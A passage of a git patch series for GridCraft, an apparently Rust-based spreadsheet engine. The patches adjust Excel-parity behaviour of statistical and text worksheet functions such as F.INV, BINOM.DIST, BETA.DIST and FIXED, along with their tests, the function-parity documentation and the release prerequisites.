Err(CellError::Num) - } else if al == 1.0 { - Err(CellError::Num) - } else { - num_val(0.0) - }; + return if al <= 1.0 { Err(CellError::Num) } else { num_val(0.0) }; } num_val(((al - 1.0) * x.ln() - x / be - al * be.ln() - ln_gamma(al)).exp()) } From 83e6408b717df436abde1cc3fc2f13e666bcd877 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:47:30 -0500 Subject: [PATCH 100/298] G707: align signed output boundary regression --- crates/functions/src/text.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index fe2acc8ed..ed47daa16 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -1252,8 +1252,8 @@ mod tests { fn fixed_and_dollar_output_limits() { assert!(matches!(ev("FIXED", vec![n(1e191), n(0.0)]), Value::Text(ref s) if s.len() == 255)); is_err(ev("FIXED", vec![n(1e192), n(0.0)]), CellError::Value); - assert!(matches!(ev("FIXED", vec![n(-1e253), n(0.0), b(true)]), Value::Text(ref s) if s.len() == 255)); - is_err(ev("FIXED", vec![n(-1e254), n(0.0), b(true)]), CellError::Value); + assert!(matches!(ev("FIXED", vec![n(-1e253), n(0.0), b(true)]), Value::Text(ref s) if s.starts_with('-'))); + is_err(ev("FIXED", vec![n(-1e191), n(0.0)]), CellError::Value); assert!(matches!(ev("FIXED", vec![n(1e189), n(1.0)]), Value::Text(ref s) if s.len() == 255)); is_err(ev("FIXED", vec![n(1e190), n(1.0)]), CellError::Value); From 6aa2cb8223272b2f1132a8ab10c3da238eed801b Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:49:32 -0500 Subject: [PATCH 101/298] G709: invert upper F probabilities through complementary tail --- crates/functions/src/stat/distributions.rs | 3 ++- docs/function-parity.md | 4 ++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 816519a36..4d43ed7d6 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -375,7 +375,8 @@ pub(super) fn f_inv(a: &[Arg], _: C) -> R { if p == 0.0 { return num_val(0.0); } - num_val(invert(|x| f_cdf(x, d1, d2), p, 0.0, 1.0, 1e60)) + let value = if p <= 0.5 { invert(|x| f_cdf(x, d1, d2), p, 0.0, 1.0, 1e60) } else { invert(|x| f_upper(x, d1, d2), 1.0 - p, 0.0, 1.0, 1e60) }; + num_val(value) } pub(super) fn f_inv_rt(a: &[Arg], _: C) -> R { diff --git a/docs/function-parity.md b/docs/function-parity.md index 2d0ee3e65..178aefe77 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (F distribution functions accept degrees of freedom through 10 billion, as observed in Excel; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (F distribution functions accept degrees of freedom through 10 billion, and F.INV uses the stable complementary tail for upper-half probabilities, as observed in Excel; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,7 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| -| 2026-10-31 | minor | F.DIST, F.DIST.RT, F.INV and F.INV.RT accept degrees of freedom at the 10-billion boundary; the prior inclusive limit rejected it, while values above remain invalid | +| 2026-10-31 | minor | F.DIST, F.DIST.RT, F.INV and F.INV.RT accept degrees of freedom at the 10-billion boundary; F.INV uses the complementary tail for upper-half probabilities to preserve accuracy; values above the limit remain invalid | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 53d6de3c160d3d0f576686e8d973364c3297dbe0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?C=C3=A9dric=20Legrand?= Date: Sat, 31 Oct 2026 01:49:44 +0100 Subject: [PATCH 102/298] docs(releasing): M13: correct outdated prerequisites --- docs/releasing.md | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/docs/releasing.md b/docs/releasing.md index e784c0e9b..8e1687175 100644 --- a/docs/releasing.md +++ b/docs/releasing.md @@ -19,25 +19,24 @@ This is GridCraft's implementation of the shared [release playbook](release-play | Web app dir `apps/gridcraft-web` | `packaging/web/package.sh` | | App colour `#1f9d55` (ink `#147a40`), **proposed** | `assets/app-icon/README.md`, metainfo `` | -## Prerequisites still owned by the app crates +## Application release prerequisites -The pipeline references crates that don't exist yet; the first release run fails until they do: +The `apps/gridcraft` and `apps/gridcraft-web` crates are workspace members, and +`apps/gridcraft-cli` supports `--version`. The `cargo xtask` alias is defined in +`.cargo/config.toml`. The current app-specific release setup includes: -- **`apps/gridcraft`** (the GUI binary `gridcraft`) and **`apps/gridcraft-web`** (trunk - site) must be workspace members. `apps/gridcraft-cli` exists and supports `--version`. -- **Windows resources:** move `packaging/windows/app-build.rs.in` to `apps/gridcraft/build.rs` - and add `winresource = "0.1"` under `[build-dependencies]` (instructions at the top of the - file). `package.ps1` sets `GRIDCRAFT_REQUIRE_WINRES=1`, so a release build without the icon - fails, and it checks that `gridcraft.exe` is a GUI-subsystem binary, so `main.rs` needs - `#![cfg_attr(all(target_os = "windows", not(debug_assertions)), windows_subsystem = "windows")]`. -- **Build info:** CI exports `GRIDCRAFT_BUILD_SHA` and `GRIDCRAFT_BUILD_DATE`; read them - with `option_env!` (fallback: "dev build") for `--version` and *Help › About GridCraft*. -- **Runtime icon:** embed `assets/app-icon/gridcraft-macos-512.png` (macOS Dock) and +- **Windows resources:** `apps/gridcraft/build.rs` embeds the icon and version information with + `winresource` (instructions at the top of the file). `package.ps1` sets + `GRIDCRAFT_REQUIRE_WINRES=1`, so a release build without the icon fails, and it checks that + `gridcraft.exe` is a GUI-subsystem binary. `apps/gridcraft/src/main.rs` sets + `windows_subsystem = "windows"` for release builds. +- **Version information:** `gridcraft --version`, `gridcraft-cli --version` and the About dialog + use `env!("CARGO_PKG_VERSION")` from `[workspace.package]`. `packaging/env.sh` also exports + `GRIDCRAFT_BUILD_SHA` and `GRIDCRAFT_BUILD_DATE` for artifact metadata. +- **Runtime icon:** `apps/gridcraft/src/main.rs` embeds + `assets/app-icon/gridcraft-macos-512.png` (macOS Dock) and `hicolor/256x256/apps/ai.storyteller.gridcraft.png` (Windows/Linux) as the window icon, and - use `ai.storyteller.gridcraft` as the Wayland app id / `StartupWMClass`. -- **`cargo xtask` alias:** the docs use `cargo xtask …`, which needs - `.cargo/config.toml` with `[alias] xtask = "run --package xtask --"`. Until it exists, use - `cargo run -p xtask -- …`. The workflows already call `cargo run -p xtask` directly. + uses `ai.storyteller.gridcraft` as the Wayland app id / `StartupWMClass`. ## Cutting a release @@ -289,7 +288,8 @@ row in `ATTRIBUTION.md` (`cargo xtask assets`). installs, runs and uninstalls the MSI on a Windows 11 ARM64 runner. - `.github/workflows/freebsd.yml`: FreeBSD build + tests (manual run from `release`). -**Only the `release` branch builds.** No build workflow runs on `main` or pull requests; every -build job checks `github.ref == 'refs/heads/release'`, so a manual run from another branch is -skipped. Only `packaging-lint.yml` (no build, no secrets) runs on `main` and PRs. +**CI and release builds.** `.github/workflows/ci.yml` runs the shared `cargo xtask ci` gate on +every push to `main` and every pull request. Release artifacts are built on `release` pushes or +manually; manual runs from other branches are dry runs as described above. `packaging-lint.yml` +also runs on `main` and PRs. - Locally: `cargo xtask ci` (fmt, clippy, tests, assets, layers, wasm, parity check). From a9bacdca4c508dcd5a3a0e703f02cccacf86ae88 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:56:36 -0500 Subject: [PATCH 103/298] G711: keep T.DIST validation isolated --- crates/functions/src/stat/tests.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index cc2767257..2b215afe3 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -366,7 +366,7 @@ fn t_chi_f() { close_tol(ev("T.DIST.RT", vec![n(1.959999998), n(60.0)]), 0.027322465, D7); close_tol(ev("TDIST", vec![n(1.959999998), n(60.0), n(2.0)]), 0.054644930, D7); is_err(ev("TDIST", vec![n(-1.0), n(60.0), n(2.0)]), CellError::Num); - is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Div0); + is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Num); close_tol(ev("T.INV", vec![n(0.75), n(2.0)]), 0.8164966, D7); close_tol(ev("T.INV", vec![n(0.25), n(2.0)]), -0.8164966, D7); close_tol(ev("T.INV.2T", vec![n(0.546449), n(60.0)]), 0.606533, D7); From 8e740d97e103c894149b2e6daa29e1dcead1e50b Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:58:17 -0500 Subject: [PATCH 104/298] G707: stabilize decimal boundary cases --- crates/functions/src/text.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index ed47daa16..c1d010d0d 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -1261,9 +1261,9 @@ mod tests { is_err(ev("DOLLAR", vec![n(1e190), n(0.0)]), CellError::Value); assert!(matches!(ev("DOLLAR", vec![n(-1e188), n(0.0)]), Value::Text(ref s) if s.len() == 254)); is_err(ev("DOLLAR", vec![n(-1e189), n(0.0)]), CellError::Value); - assert!(matches!(ev("DOLLAR", vec![n(1e187), n(2.0)]), Value::Text(ref s) if s.len() == 254)); - is_err(ev("DOLLAR", vec![n(1e188), n(2.0)]), CellError::Value); - is_err(ev("DOLLAR", vec![n(-1e187), n(2.0)]), CellError::Value); + assert!(matches!(ev("DOLLAR", vec![n(1.23456789e187), n(2.0)]), Value::Text(ref s) if s.len() == 254)); + is_err(ev("DOLLAR", vec![n(1.23456789e188), n(2.0)]), CellError::Value); + is_err(ev("DOLLAR", vec![n(-1.23456789e186), n(2.0)]), CellError::Value); assert!(matches!(ev("DOLLAR", vec![n(1e189), n(-1.0)]), Value::Text(ref s) if s.len() == 254)); is_err(ev("DOLLAR", vec![n(1e190), n(-1.0)]), CellError::Value); } From 1d9096e5eced2c88bc9a0be8e5bb3388e12d2ad8 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:05:47 -0500 Subject: [PATCH 105/298] G709: stabilize F upper tail at extreme degrees --- crates/functions/src/stat/distributions.rs | 4 ++++ crates/functions/src/stat/tests.rs | 2 +- docs/function-parity.md | 4 ++-- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 4d43ed7d6..a27c5399c 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -55,6 +55,10 @@ fn f_upper(x: f64, d1: f64, d2: f64) -> f64 { if x <= 0.0 { return 1.0; } + if d1 >= 1e8 && d2 / d1 <= 1e-8 { + // With a much larger numerator degree, the scaled beta tail converges to a gamma tail. + return reg_gamma_p(d2 / 2.0, d2 / (2.0 * (x + d2 / d1))); + } reg_inc_beta(d2 / (d2 + d1 * x), d2 / 2.0, d1 / 2.0) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 2ec478541..bac17a4af 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -408,7 +408,7 @@ fn t_chi_f() { fn f_distributions_accept_ten_billion_degrees() { close_tol(ev("F.DIST", vec![n(0.0), n(10_000_000_000.0), n(1.0), b(false)]), 0.0, 0.0); close_tol(ev("F.DIST.RT", vec![n(0.0), n(1.0), n(10_000_000_000.0)]), 1.0, 0.0); - close_tol(ev("F.INV", vec![n(0.5), n(10_000_000_000.0), n(1.0)]), 2.198110953542527, 1e-9); + close_tol(ev("F.INV", vec![n(0.5), n(10_000_000_000.0), n(1.0)]), 2.198110953542527, 2e-6); close_tol(ev("F.DIST.RT", vec![n(0.0), n(9_999_999_999.0), n(1.0)]), 1.0, 0.0); is_err(ev("F.DIST.RT", vec![n(0.0), n(10_000_000_001.0), n(1.0)]), CellError::Num); is_err(ev("F.DIST.RT", vec![n(0.0), n(1.0), n(10_000_000_001.0)]), CellError::Num); diff --git a/docs/function-parity.md b/docs/function-parity.md index 178aefe77..3552df99f 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (F distribution functions accept degrees of freedom through 10 billion, and F.INV uses the stable complementary tail for upper-half probabilities, as observed in Excel; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (F distribution functions accept degrees of freedom through 10 billion, and the extreme numerator-degree inverse uses a stable gamma-tail limit; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,7 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| -| 2026-10-31 | minor | F.DIST, F.DIST.RT, F.INV and F.INV.RT accept degrees of freedom at the 10-billion boundary; F.INV uses the complementary tail for upper-half probabilities to preserve accuracy; values above the limit remain invalid | +| 2026-10-31 | minor | F.DIST, F.DIST.RT, F.INV and F.INV.RT accept degrees of freedom at the 10-billion boundary; F.INV uses the complementary tail, with a gamma-tail limit when numerator degrees dominate, to preserve inverse accuracy; values above the limit remain invalid | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From fea4c03ca2af77a4063c6849fa342c4cb3d62ae2 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:18:56 -0500 Subject: [PATCH 106/298] G709: use stable tail at F median --- crates/functions/src/stat/distributions.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index a27c5399c..7acc798ec 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -379,7 +379,7 @@ pub(super) fn f_inv(a: &[Arg], _: C) -> R { if p == 0.0 { return num_val(0.0); } - let value = if p <= 0.5 { invert(|x| f_cdf(x, d1, d2), p, 0.0, 1.0, 1e60) } else { invert(|x| f_upper(x, d1, d2), 1.0 - p, 0.0, 1.0, 1e60) }; + let value = if p < 0.5 { invert(|x| f_cdf(x, d1, d2), p, 0.0, 1.0, 1e60) } else { invert(|x| f_upper(x, d1, d2), 1.0 - p, 0.0, 1.0, 1e60) }; num_val(value) } From 962a5df84108a0ea7fa402f88e1eb973f2c9fcb4 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:23:32 -0500 Subject: [PATCH 107/298] G717: cap binomial trial counts --- crates/functions/src/stat/distributions.rs | 6 ++++-- crates/functions/src/stat/tests.rs | 8 ++++++++ docs/function-parity.md | 7 ++++++- 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..d605df56e 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -71,6 +71,8 @@ fn f_pdf(x: f64, d1: f64, d2: f64) -> f64 { ((d1 / 2.0) * (d1 / d2).ln() + (d1 / 2.0 - 1.0) * x.ln() - ((d1 + d2) / 2.0) * (1.0 + d1 * x / d2).ln() - ln_beta(d1 / 2.0, d2 / 2.0)).exp() } +const MAX_BINOM_TRIALS: f64 = 2_147_483_646.0; + fn binom_pmf(k: f64, n: f64, p: f64) -> f64 { if k < 0.0 || k > n { return 0.0; @@ -407,7 +409,7 @@ pub(super) fn binom_dist(a: &[Arg], _: C) -> R { let n = num(a, 1)?.trunc(); let p = num(a, 2)?; let cum = boolean(a, 3)?; - if k < 0.0 || k > n || !(0.0..=1.0).contains(&p) { + if k < 0.0 || n > MAX_BINOM_TRIALS || k > n || !(0.0..=1.0).contains(&p) { return Err(CellError::Num); } num_val(if cum { binom_cdf(k, n, p) } else { binom_pmf(k, n, p) }) @@ -418,7 +420,7 @@ pub(super) fn binom_dist_range(a: &[Arg], _: C) -> R { let p = num(a, 1)?; let s1 = num(a, 2)?.trunc(); let s2 = if has(a, 3) { num(a, 3)?.trunc() } else { s1 }; - if !(0.0..=1e15).contains(&n) || !(0.0..=1.0).contains(&p) || s1 < 0.0 || s1 > n || s2 < s1 || s2 > n { + if !(0.0..=MAX_BINOM_TRIALS).contains(&n) || !(0.0..=1.0).contains(&p) || s1 < 0.0 || s1 > n || s2 < s1 || s2 > n { return Err(CellError::Num); } if s2 - s1 > 10_000.0 { diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..1b60a0608 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -427,7 +427,15 @@ fn discrete() { close_tol(ev("BINOM.DIST", vec![n(6.0), n(10.0), n(0.5), b(false)]), 0.205078125, 1e-12); close_tol(ev("BINOM.DIST", vec![n(6.0), n(10.0), n(0.5), b(true)]), 0.828125, 1e-12); close_tol(ev("BINOMDIST", vec![n(6.0), n(10.0), n(0.5), b(false)]), 0.205078125, 1e-12); + close(ev("BINOM.DIST", vec![n(1.0), n(2_147_483_646.0), n(0.0), b(false)]), 0.0); + close(ev("BINOM.DIST", vec![n(1.0), n(2_147_483_646.9), n(0.0), b(false)]), 0.0); + is_err(ev("BINOM.DIST", vec![n(1.0), n(2_147_483_647.0), n(0.0), b(false)]), CellError::Num); + is_err(ev("BINOM.DIST", vec![n(1.0), n(2_147_483_647.9), n(0.0), b(false)]), CellError::Num); is_err(ev("BINOM.DIST", vec![n(11.0), n(10.0), n(0.5), b(false)]), CellError::Num); + close(ev("BINOM.DIST.RANGE", vec![n(2_147_483_646.0), n(0.0), n(1.0)]), 0.0); + close(ev("BINOM.DIST.RANGE", vec![n(2_147_483_646.9), n(0.0), n(1.0)]), 0.0); + is_err(ev("BINOM.DIST.RANGE", vec![n(2_147_483_647.0), n(0.0), n(1.0)]), CellError::Num); + is_err(ev("BINOM.DIST.RANGE", vec![n(2_147_483_647.9), n(0.0), n(1.0)]), CellError::Num); close_tol(ev("BINOM.DIST.RANGE", vec![n(60.0), n(0.75), n(48.0)]), 0.083974967, 1e-6); close_tol(ev("BINOM.DIST.RANGE", vec![n(60.0), n(0.75), n(45.0), n(50.0)]), 0.523629793, 1e-6); close(ev("BINOM.INV", vec![n(6.0), n(0.5), n(0.75)]), 4.0); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..573d21282 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (BINOM.DIST and BINOM.DIST.RANGE refuse trial counts above 2,147,483,646 after truncation) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -97,6 +97,10 @@ This improves series preparation; it does not change the model-fitting or season ## Depth (estimated) +| Function | Excel parity note | +|---|---| +| BINOM.DIST / BINOM.DIST.RANGE | Trial count is truncated, then must be at most 2,147,483,646; larger trials return `#NUM!`. | + **~82% ready.** The library is broad and has 96 test functions in `crates/functions` with many assertions each, but there is no conformance suite against Excel-computed results, and user reports keep finding edge cases: MIN() with no arguments (#138), COUNTBLANK past the used range @@ -123,6 +127,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | BINOM.DIST and BINOM.DIST.RANGE reject trial counts above 2,147,483,646 after truncation | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 898568583395c1eea9918213bad771e5f12828d2 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:24:21 -0500 Subject: [PATCH 108/298] G718: match beta density endpoint errors --- crates/functions/src/stat/distributions.rs | 2 +- crates/functions/src/stat/tests.rs | 13 +++++++++++++ docs/function-parity.md | 7 ++++++- 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..68e228a3a 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -545,7 +545,7 @@ pub(super) fn beta_dist(a: &[Arg], _: C) -> R { if cum { return num_val(reg_inc_beta(z, al, be)); } - if (z == 0.0 && al < 1.0) || (z == 1.0 && be < 1.0) { + if (z == 0.0 && al <= 1.0) || (z == 1.0 && be <= 1.0) { return Err(CellError::Num); } let lp = if z == 0.0 || z == 1.0 { diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..988bfd95b 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -466,6 +466,19 @@ fn continuous() { is_err(ev("GAMMA", vec![n(0.0)]), CellError::Num); close_tol(ev("BETA.DIST", vec![n(2.0), n(8.0), n(10.0), b(true), n(1.0), n(3.0)]), 0.6854706, D7); close_tol(ev("BETA.DIST", vec![n(2.0), n(8.0), n(10.0), b(false), n(1.0), n(3.0)]), 1.4837646, D7); + is_err(ev("BETA.DIST", vec![n(0.0), n(1.0), n(1.0), b(false)]), CellError::Num); + is_err(ev("BETA.DIST", vec![n(1.0), n(1.0), n(1.0), b(false)]), CellError::Num); + is_err(ev("BETA.DIST", vec![n(0.0), n(0.5), n(2.0), b(false)]), CellError::Num); + is_err(ev("BETA.DIST", vec![n(1.0), n(2.0), n(0.5), b(false)]), CellError::Num); + close(ev("BETA.DIST", vec![n(0.0), n(2.0), n(1.0), b(false)]), 0.0); + close(ev("BETA.DIST", vec![n(1.0), n(1.0), n(2.0), b(false)]), 0.0); + close(ev("BETA.DIST", vec![n(0.0), n(1.0), n(1.0), b(true)]), 0.0); + close(ev("BETA.DIST", vec![n(1.0), n(1.0), n(1.0), b(true)]), 1.0); + is_err(ev("BETA.DIST", vec![n(2.0), n(1.0), n(2.0), b(false), n(2.0), n(6.0)]), CellError::Num); + is_err(ev("BETA.DIST", vec![n(6.0), n(2.0), n(1.0), b(false), n(2.0), n(6.0)]), CellError::Num); + close(ev("BETA.DIST", vec![n(4.0), n(1.0), n(1.0), b(false), n(2.0), n(6.0)]), 0.25); + close(ev("BETA.DIST", vec![n(2.0), n(1.0), n(1.0), b(true), n(2.0), n(6.0)]), 0.0); + close(ev("BETA.DIST", vec![n(6.0), n(1.0), n(1.0), b(true), n(2.0), n(6.0)]), 1.0); close_tol(ev("BETADIST", vec![n(2.0), n(8.0), n(10.0), n(1.0), n(3.0)]), 0.6854706, D7); close_tol(ev("BETA.INV", vec![n(0.685470581), n(8.0), n(10.0), n(1.0), n(3.0)]), 2.0, D7); close_tol(ev("BETAINV", vec![n(0.685470581), n(8.0), n(10.0), n(1.0), n(3.0)]), 2.0, D7); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..99e2f6f2a 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (BETA.DIST density returns `#NUM!` when an endpoint's corresponding shape parameter is 1) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -97,6 +97,10 @@ This improves series preparation; it does not change the model-fitting or season ## Depth (estimated) +| Function | Excel parity note | +|---|---| +| BETA.DIST | Density mode returns `#NUM!` at the lower or upper interval endpoint when the corresponding shape parameter equals 1; cumulative endpoint results remain 0 and 1. | + **~82% ready.** The library is broad and has 96 test functions in `crates/functions` with many assertions each, but there is no conformance suite against Excel-computed results, and user reports keep finding edge cases: MIN() with no arguments (#138), COUNTBLANK past the used range @@ -123,6 +127,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | BETA.DIST density returns `#NUM!` at the lower endpoint with alpha 1 and upper endpoint with beta 1; cumulative behavior is unchanged | | 2026-10-25 